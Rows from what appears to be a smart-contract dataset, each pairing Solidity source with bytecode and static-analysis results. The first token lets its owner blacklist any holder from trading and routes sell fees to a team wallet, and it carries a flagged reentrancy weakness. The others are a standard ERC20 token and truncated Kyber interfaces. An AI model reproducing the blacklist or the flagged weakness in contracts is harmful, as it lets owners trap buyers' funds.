function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2e6 * 10**9;
_maxWalletSize = 4e6 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610338578063b87f137a14610358578063c3c8cd8014610378578063c9567bf91461038d578063dd62ed3e146103a257600080fd5b806370a082311461029b578063715018a6146102bb578063751039fc146102d05780638da5cb5b146102e557806395d89b411461030d57600080fd5b8063273123b7116100e7578063273123b71461020a578063313ce5671461022a5780635932ead114610246578063677daa57146102665780636fc3eaec1461028657600080fd5b806306fdde031461012f578063095ea7b31461017357806318160ddd146101a35780631b3f71ae146101c857806323b872dd146101ea57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082019091526009815268105391d4965092549160ba1b60208201525b60405161016a919061198b565b60405180910390f35b34801561017f57600080fd5b5061019361018e366004611812565b6103e8565b604051901515815260200161016a565b3480156101af57600080fd5b5067016345785d8a00005b60405190815260200161016a565b3480156101d457600080fd5b506101e86101e336600461183e565b6103ff565b005b3480156101f657600080fd5b506101936102053660046117d1565b61049e565b34801561021657600080fd5b506101e861022536600461175e565b610507565b34801561023657600080fd5b506040516009815260200161016a565b34801561025257600080fd5b506101e861026136600461190a565b610552565b34801561027257600080fd5b506101e8610281366004611944565b61059a565b34801561029257600080fd5b506101e86105f4565b3480156102a757600080fd5b506101ba6102b636600461175e565b610621565b3480156102c757600080fd5b506101e8610643565b3480156102dc57600080fd5b506101e86106b7565b3480156102f157600080fd5b506000546040516001600160a01b03909116815260200161016a565b34801561031957600080fd5b5060408051808201909152600281526120a160f11b602082015261015d565b34801561034457600080fd5b50610193610353366004611812565b6106f4565b34801561036457600080fd5b506101e8610373366004611944565b610701565b34801561038457600080fd5b506101e8610755565b34801561039957600080fd5b506101e861078b565b3480156103ae57600080fd5b506101ba6103bd366004611798565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f5338484610b57565b5060015b92915050565b6000546001600160a01b031633146104325760405162461bcd60e51b8152600401610429906119e0565b60405180910390fd5b60005b815181101561049a5760016006600084848151811061045657610456611b27565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061049281611af6565b915050610435565b5050565b60006104ab848484610c7b565b6104fd84336104f885604051806060016040528060288152602001611b77602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061106e565b610b57565b5060019392505050565b6000546001600160a01b031633146105315760405162461bcd60e51b8152600401610429906119e0565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057c5760405162461bcd60e51b8152600401610429906119e0565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105c45760405162461bcd60e51b8152600401610429906119e0565b600081116105d157600080fd5b6105ee60646105e867016345785d8a0000846110a8565b9061112e565b600f5550565b600c546001600160a01b0316336001600160a01b03161461061457600080fd5b4761061e81611170565b50565b6001600160a01b0381166000908152600260205260408120546103f9906111aa565b6000546001600160a01b0316331461066d5760405162461bcd60e51b8152600401610429906119e0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e15760405162461bcd60e51b8152600401610429906119e0565b67016345785d8a0000600f819055601055565b60006103f5338484610c7b565b6000546001600160a01b0316331461072b5760405162461bcd60e51b8152600401610429906119e0565b6000811161073857600080fd5b61074f60646105e867016345785d8a0000846110a8565b60105550565b600c546001600160a01b0316336001600160a01b03161461077557600080fd5b600061078030610621565b905061061e81611227565b6000546001600160a01b031633146107b55760405162461bcd60e51b8152600401610429906119e0565b600e54600160a01b900460ff161561080f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610429565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561084b308267016345785d8a0000610b57565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561088457600080fd5b505afa158015610898573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bc919061177b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090457600080fd5b505afa158015610918573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093c919061177b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561098457600080fd5b505af1158015610998573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bc919061177b565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109ec81610621565b600080610a016000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a6457600080fd5b505af1158015610a78573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9d919061195d565b5050600e805466071afd498d0000600f55660e35fa931a000060105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b1f57600080fd5b505af1158015610b33573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049a9190611927565b6001600160a01b038316610bb95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610429565b6001600160a01b038216610c1a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610429565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610429565b6001600160a01b038216610d415760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610429565b60008111610da35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610429565b6000600a818155600b55546001600160a01b03848116911614801590610dd757506000546001600160a01b03838116911614155b1561105e576001600160a01b03831660009081526006602052604090205460ff16158015610e1e57506001600160a01b03821660009081526006602052604090205460ff16155b610e2757600080fd5b600e546001600160a01b038481169116148015610e525750600d546001600160a01b03838116911614155b8015610e7757506001600160a01b03821660009081526005602052604090205460ff16155b8015610e8c5750600e54600160b81b900460ff165b15610f9157600f54811115610ee35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610429565b60105481610ef084610621565b610efa9190611a86565b1115610f485760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610429565b6001600160a01b0382166000908152600760205260409020544211610f6c57600080fd5b610f7742601e611a86565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610fbc5750600d546001600160a01b03848116911614155b8015610fe157506001600160a01b03831660009081526005602052604090205460ff16155b15610ff1576000600a908155600b555b6000610ffc30610621565b600e54909150600160a81b900460ff161580156110275750600e546001600160a01b03858116911614155b801561103c5750600e54600160b01b900460ff165b1561105c5761104a81611227565b47801561105a5761105a47611170565b505b505b6110698383836113b0565b505050565b600081848411156110925760405162461bcd60e51b8152600401610429919061198b565b50600061109f8486611adf565b95945050505050565b6000826110b7575060006103f9565b60006110c38385611ac0565b9050826110d08583611a9e565b146111275760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610429565b9392505050565b600061112783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113bb565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561049a573d6000803e3d6000fd5b60006008548211156112115760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610429565b600061121b6113e9565b9050611127838261112e565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126f5761126f611b27565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112c357600080fd5b505afa1580156112d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112fb919061177b565b8160018151811061130e5761130e611b27565b6001600160a01b039283166020918202929092010152600d546113349130911684610b57565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061136d908590600090869030904290600401611a15565b600060405180830381600087803b15801561138757600080fd5b505af115801561139b573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61106983838361140c565b600081836113dc5760405162461bcd60e51b8152600401610429919061198b565b50600061109f8486611a9e565b60008060006113f6611503565b9092509050611405828261112e565b9250505090565b60008060008060008061141e87611543565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061145090876115a0565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461147f90866115e2565b6001600160a01b0389166000908152600260205260409020556114a181611641565b6114ab848361168b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114f091815260200190565b60405180910390a3505050505050505050565b600854600090819067016345785d8a000061151e828261112e565b82101561153a5750506008549267016345785d8a000092509050565b90939092509050565b60008060008060008060008060006115608a600a54600b546116af565b92509250925060006115706113e9565b905060008060006115838e8787876116fe565b919e509c509a509598509396509194505050505091939550919395565b600061112783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061106e565b6000806115ef8385611a86565b9050838110156111275760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610429565b600061164b6113e9565b9050600061165983836110a8565b3060009081526002602052604090205490915061167690826115e2565b30600090815260026020526040902055505050565b60085461169890836115a0565b6008556009546116a890826115e2565b6009555050565b60008080806116c360646105e889896110a8565b905060006116d660646105e88a896110a8565b905060006116ee826116e88b866115a0565b906115a0565b9992985090965090945050505050565b600080808061170d88866110a8565b9050600061171b88876110a8565b9050600061172988886110a8565b9050600061173b826116e886866115a0565b939b939a50919850919650505050505050565b803561175981611b53565b919050565b60006020828403121561177057600080fd5b813561112781611b53565b60006020828403121561178d57600080fd5b815161112781611b53565b600080604083850312156117ab57600080fd5b82356117b681611b53565b915060208301356117c681611b53565b809150509250929050565b6000806000606084860312156117e657600080fd5b83356117f181611b53565b9250602084013561180181611b53565b929592945050506040919091013590565b6000806040838503121561182557600080fd5b823561183081611b53565b946020939093013593505050565b6000602080838503121561185157600080fd5b823567ffffffffffffffff8082111561186957600080fd5b818501915085601f83011261187d57600080fd5b81358181111561188f5761188f611b3d565b8060051b604051601f19603f830116810181811085821117156118b4576118b4611b3d565b604052828152858101935084860182860187018a10156118d357600080fd5b600095505b838610156118fd576118e98161174e565b8552600195909501949386019386016118d8565b5098975050505050505050565b60006020828403121561191c57600080fd5b813561112781611b68565b60006020828403121561193957600080fd5b815161112781611b68565b60006020828403121561195657600080fd5b5035919050565b60008060006060848603121561197257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119b85785810183015185820160400152820161199c565b818111156119ca576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a655784516001600160a01b031683529383019391830191600101611a40565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a9957611a99611b11565b500190565b600082611abb57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ada57611ada611b11565b500290565b600082821015611af157611af1611b11565b500390565b6000600019821415611b0a57611b0a611b11565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461061e57600080fd5b801515811461061e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205aa423267282b1f2188b292ed19df4463b104993b5b7b8ae07c17b2d2110dfc464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,267 |
0x868c3ee9b6086458482422b6b37fa36649cd55bf
|
pragma solidity ^0.4.20;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/RedBUX.sol
contract RedBUX is StandardToken {
string public name = "RedBUX";
string public symbol = "RDBX";
uint8 public decimals = 18;
uint256 public INITIAL_SUPPLY = 20000000000e18; //20b RedBUX Token with 18 Decimals
function RedBUX() public {
totalSupply_ = INITIAL_SUPPLY;
balances[0x31aD4EdE698D711154707371Ee1847A6Fc1a432e] = INITIAL_SUPPLY; //Contract owner gets whole supply
}
}
|
0x6060604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461017e57806323b872dd146101a35780632ff2e9dc146101cb578063313ce567146101de578063661884631461020757806370a082311461022957806395d89b4114610248578063a9059cbb1461025b578063d73dd6231461027d578063dd62ed3e1461029f575b600080fd5b34156100c957600080fd5b6100d16102c4565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561010d5780820151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015357600080fd5b61016a600160a060020a0360043516602435610362565b604051901515815260200160405180910390f35b341561018957600080fd5b6101916103ce565b60405190815260200160405180910390f35b34156101ae57600080fd5b61016a600160a060020a03600435811690602435166044356103d4565b34156101d657600080fd5b610191610554565b34156101e957600080fd5b6101f161055a565b60405160ff909116815260200160405180910390f35b341561021257600080fd5b61016a600160a060020a0360043516602435610563565b341561023457600080fd5b610191600160a060020a036004351661065d565b341561025357600080fd5b6100d1610678565b341561026657600080fd5b61016a600160a060020a03600435166024356106e3565b341561028857600080fd5b61016a600160a060020a03600435166024356107f5565b34156102aa57600080fd5b610191600160a060020a0360043581169060243516610899565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561035a5780601f1061032f5761010080835404028352916020019161035a565b820191906000526020600020905b81548152906001019060200180831161033d57829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a03831615156103eb57600080fd5b600160a060020a03841660009081526020819052604090205482111561041057600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561044357600080fd5b600160a060020a03841660009081526020819052604090205461046c908363ffffffff6108c416565b600160a060020a0380861660009081526020819052604080822093909355908516815220546104a1908363ffffffff6108d616565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546104e7908363ffffffff6108c416565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60065481565b60055460ff1681565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156105c057600160a060020a0333811660009081526002602090815260408083209388168352929052908120556105f7565b6105d0818463ffffffff6108c416565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561035a5780601f1061032f5761010080835404028352916020019161035a565b6000600160a060020a03831615156106fa57600080fd5b600160a060020a03331660009081526020819052604090205482111561071f57600080fd5b600160a060020a033316600090815260208190526040902054610748908363ffffffff6108c416565b600160a060020a03338116600090815260208190526040808220939093559085168152205461077d908363ffffffff6108d616565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461082d908363ffffffff6108d616565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828211156108d057fe5b50900390565b6000828201838110156108e557fe5b93925050505600a165627a7a7230582039cbdbdddb96ac65cd10b6b4514f448c310e981c7e7a250b758bfc898edac0320029
|
{"success": true, "error": null, "results": {}}
| 3,268 |
0x5d12eAEDbdD998dDDBd15d17BEF1073Ac3257992
|
pragma solidity 0.4.18;
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/KyberReserveInterface.sol
/// @title Kyber Reserve contract
interface KyberReserveInterface {
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
// File: contracts/Utils.sol
